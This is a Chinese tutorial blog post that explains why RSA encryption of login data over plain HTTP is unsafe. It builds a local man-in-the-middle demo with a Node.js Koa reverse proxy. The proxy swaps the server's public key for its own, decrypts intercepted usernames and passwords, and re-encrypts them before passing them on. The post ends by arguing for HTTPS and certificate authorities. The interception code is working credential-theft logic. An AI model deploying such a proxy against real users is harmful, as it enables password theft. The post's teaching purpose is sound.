1

安全地在前后端之间传输数据 - 「3」真的安全吗?

 3 years ago
source link: https://segmentfault.com/a/1190000039895855
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

前置阅读:


「2」注册和登录示例中,我们通过非对称加密算法实现了浏览器和 Web 服务器之间的安全传输。看起来一切都很美好,但是危险就在哪里,有些人发现了,有些人嗅到了,更多人却浑然不知。就像是给门上了把好锁,还派了个人盯着,却没发现坏人已经从窗户潜进去了。

废话少说,先公布答案:不安全!

如果想要安全,目前最优解仍然是使用 HTTPS

为什么不安全

不过为什么不安全呢?请思考一个问题:数据加密是基于服务器送过来的公钥,但是这个公钥确实是服务器发出来的那一个吗?

基于 HTTP 的传输是明文的,而且浏览器和服务器之间要经过若干网络节点(路由等),谁知道公钥在传输的过程中没有被掉包!

如果公钥被掉包了,服务器知道吗,它还能用原来的私钥把数据解出来吗?

带着这些个疑问,来看一张图:

在浏览器和服务器的传输过程中,黑客可以劫持服务器发放的公钥,并用自己产生的假公钥替换之,狸猫换太子。而后加密数据的传输过程中,黑客可以用自己的私钥解密(因为是用他发的假公钥加的密),并用正确的公钥加密送给服务器。这样就在浏览器和服务器都感知不到的情况下,把数据给偷走了。这种行为,称为中间人劫持攻击,上图的黑客就是那个中间人。

模拟中间人劫持

真实的中间人劫持过程也不是很简单的事情,不过我们想研究这个过程的话,可以模拟。

如果有两台计算机,可以用一台部署服务,另一台部署模拟的中间人。然后假设 DNS 被劫持(可以在路由器或客户机上配置 HOSTS),本来应该发送到服务器的请求,发送到中间人那里去了。而中间人就像代理服务器一样,在浏览器和服务器之间传递信息。

image.png

在一台计算机的情况下,可以将正确的服务启动在 80 端口,而将模拟的中间人服务启动在 3000 端口,然后访问 http://localhost:3000 来假装被劫持。

创造一个中间人

我们用 Node.js 来模拟中间人,使用 koa-better-http-proxy 搭建反向代理,同时劫持 GET /api/public-key(获取公钥)、POST /api/user(注册) 和 POST /api/user/login(登录)三个 API。劫持「获取公钥」和「注册」两个接口就可以拿到用户的密码,但是在劫持「获取公钥」并替换掉公钥之后,必须要对所有加密数据进行「解密-重新加密」的处理,不然服务器不能获取正确的加密数据(浏览器使用中间人的证书加密的数据,服务端没有配对的私钥,解不出来)。

搭建一个叫 intermediator-demo 的 Node.js 项目,主要的模块有:

主要项目结构:

INTERMEDIATOR-DEMO
 ├── server             // 服务端业务逻辑
 │   ├── interceptor.js // 劫持处理管理工具函数(注册/执行等)
 │   ├── hack.js        // 劫持处理请求/响应的逻辑
 │   ├── rsa.js         // 加解密相关工具,基本上是从服务端拷贝过来的
 │   └── index.js       // 服务端应用入口
 ├── .editorconfig
 ├── .eslintrc.js
 ├── .gitignore
 └── package.json

index.js 中的反向代理

使用 koa-better-http-proxy 搭建反向代理比较简单,只需要在 Koa 实例中使用代理中间件即可,大致逻辑如下:

import Koa from "koa";
import proxy from "koa-better-http-proxy";

const app = new Koa();
app.use(
    proxy(
        "localhost",
        {
            proxyReqBodyDecorator: ...,  // 省略号占位示意
            userResDecorator: ...,       // 省略号占位示意
        }
    )
);

app.listen(3000, () => {
    console.log("intermediator at: http://localhost:3000/");
});

这里 proxyReqBodyDecoratoruserResDecorator 中分别用来劫持请求和响应,怎么使用在文档中都说得很清楚。

劫持公钥 GET /api/public-key

劫持公钥的过程是将服务器返回的公钥保存起来,然后返回自己发的假公钥:

userResDecorator: (res, resDataBuffer, ctx) => {
    const { req } = res;
    const { method, path } = req;
    if (method === "GET" && path === "/api/public-key") {
        // resDataBuffer 是 Buffer 类型,需要先转成字符串
        const text = resDataBuffer.toString("utf8");
        const { key } = JSON.parse(text);
        // 保存服务器发过来的「真·公钥」
        saveRealPublicKey(key);
        // 响应自己发的「假·公钥」
        return JSON.stringify({ key: await getPublicKey() });
    } else {
        // 其他情况不劫持,直接返回原响应内容
        return resDataBuffer;
    }
}

先根据 methodpath 确定要劫持的请求,然后从服务器响应中拿到真实的公钥用 saveRealPublicKey() 保存到 .data/REAL-KEY 文件中。这里的 saveRealPublicKey() 可以参照上一节rsa.js 中保存公钥的部分:

const filePathes = {
    ......
    real: path.join(".data", "REAL-KEY"),
}

export async function saveRealPublicKey(key) {
    return fsPromise.writeFile(filePathes.real, key);
}

后面用到的 getPublicKey() 就是上一节写的那个,因为中间人也会像服务器一样产生密钥对。

重构:添加劫持管理工具

写完对 GET /api/public-key 的劫持之后,可以发现,每次劫持都需要根据 methodpath(或前缀、匹配模式等)来对劫持处理,进行逻辑分支。既然如此,不妨写一个简单的劫持管理工具,配置管理 methodpathhandler(劫持处理)之间的关系,并自动匹配调用处理函数。

这样一来,只需要按劫持阶段(请求/响应)分成两个配置:requestInterceptorsresponseInterceptors,这是两个数组,其中的元素结构是:

{
    "method": "字符串,匹配 HTTP 方法,使用 === 精确比较",
    "test": "匹配函数,根据请求地址判断是否匹配得上",
    "handler": "处理函数,对匹配上的进行调用进行劫持逻辑处理",
}

注册逻辑是:

function register(method, test, fn) {
    // 这里是 requestInterceptors 或 responseInterceptors
    xxxInterceptors.push({
        method,
        // 如果 test 是提供的字符串,就处理成精确相等的判断函数
        test: typeof path === "function" ? test : path => path === test,
        handler: fn,
    });
}

调用的逻辑是(请求和响应相似,只是取 methodpath 的细节略有不同):

// 以响应的逻辑为例
function invoke(res, dataBuffer, ctx) {
    const { req } = res;
    const { method, path } = req;
    const interceptor = responseInterceptors
        .find(opt => opt.method === method && opt.test(path));

    // 没有注册劫持逻辑,直接返回原响应内容
    if (!interceptor) { return dataBuffer; }
    // 找到注册逻辑,调用其处理函数
    return interceptor.handler(res, dataBuffer, ctx);
}

由于在处理响应的时候,一般都需要把 Buffer 类型的 dataBuffer 转换成字符串类型,所以可以在调用之前做一些预处理。本文讲逻辑,不详述这些改进细节,需要了解细节请阅读文末提供的示例源代码。

劫持注册/和登录

劫持注册和登录都需要在请求阶段进行,将请求中加密的密码,用自己的「假·私钥」解出来,再用保存的「真·公钥」加密送给服务器。由于在这次的示例中,注册和登录的 payload 完全相同,都是 { username, password },所以可以用同一个劫持处理逻辑:

(bodyBuffer, ctx) => {
    // bodyBuffer 转换成字符串是 QueryString 格式的 payload 数据
    const body = qs.parse(bodyBuffer.toString("utf8"));
    // 使用「假·私钥」解密,这跟上一节解密一样
    const originalPassword = await decrypt(body.password);
    // 获取加密数据原文,进行保存等业务处理(这里用输出到控制台代替)
    console.log("[拦截到密码]", `${originalPassword} (${body.username})`);
    // 使用「真·公钥」加密,encrypt 稍后说明
    body.password = await encrypt(originalPassword);
    // 不能直接返回对象,可以是字符串或 Buffer
    return qs.stringify(body);
}

其中 decrypt() 就是上一节服务端的那个。不过上一节服务端没有 encrypt(),所以需要用 crypto 模块写一个 encrypt() 方法。中间人只需要用「真·公钥」加密,所以获取密钥逻辑可以直接封装成 encrypt() 中。

export async function encrypt(data) {
    // 获取「真·公钥」
    const key = await getRealPublicKey();

    return crypto.publicEncrypt(
        {
            key,
            // 别忘了指定 PKCS#1 Padding
            padding: crypto.constants.RSA_PKCS1_PADDING,
        },
        Buffer.from(data, "utf-8"),
    ).toString("base64");
}

跑起来试试

写代码总会有 BUG,调试的过程中肯定还要做一些修整。最终,中间人在 http://localhost:3000/ 提供了服务。因为中间人实际是一个代理服务,所以原来在 http://localhost/ 跑的真实服务也需要启动起来。

现在假装已经被黑客劫持,所以我们直接访问 http://localhost:3000/,可以看到界面,也可以像原来一样的操作,就跟没有中间人一样,毫无异样的感觉。

不过在中间人的控制台中,我们可以看到被劫持到的密码原文

image.png

通过上面的实验,我们已经可以证明:公钥可能被劫持,非对称加密也有漏洞

好可怕,怎么办?

由于中间人劫持,我们必须想办法用安全的手段去拿到正确的公钥。

有一个很直接很暴力的办法:亲自去服务提供方拿公钥 —— 这个办法确实有效,但不实用。

另一个办法,我们不去服务器上拿公钥,而是去一个值得信任的地方拿公钥。

那么,哪里是可信的?

CA(证书签发机构)是可信的。但是要去 CA 拿证书,仍然需要通过网络,仍然可能被劫持。CA 会怎么办?

CA 会对发出来的证书进行签名,客户方拿到数据之后,可以使用 CA 的公钥来验证签名是否正确。这样可以保证拿到的数据不被篡改。但是经过逻辑推导,会发现:获取 CA 公钥的时候仍然存在被劫持的可能 …… 兜兜转转,难道无解?

如果一切依赖于网络传输,真的无解。不过 CA 的公钥并不是通过网络去获取的,而是操作系统/浏览器内置的,这就类似前面所说的第一种办法,直接由操作系统/浏览器供应商(Microsoft、Apple、Mozilla 等)拿到,内置在系统中。这些证书由 CA 和供应商提供信誉保障。因为它们是证书信任链的起点,所以称为根证书。

好了,逻辑通了,但是研究的结果很明显:安全的传输过程离不开 CA 参与,而有 CA 参与了,何苦还要自己去写加密/解密,直接用 HTTPS 不香么

这么说来,我们这三篇文章的研究不是白干了?也没有,至少有两个收获:

  • 科谱了安全传输的相关基础知识(有没有意识到盗版操作系统的风险?);
  • 如果实在没条件上 HTTPS,至少知道一个相对安全的传输方法,而且明白其面临的风险。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK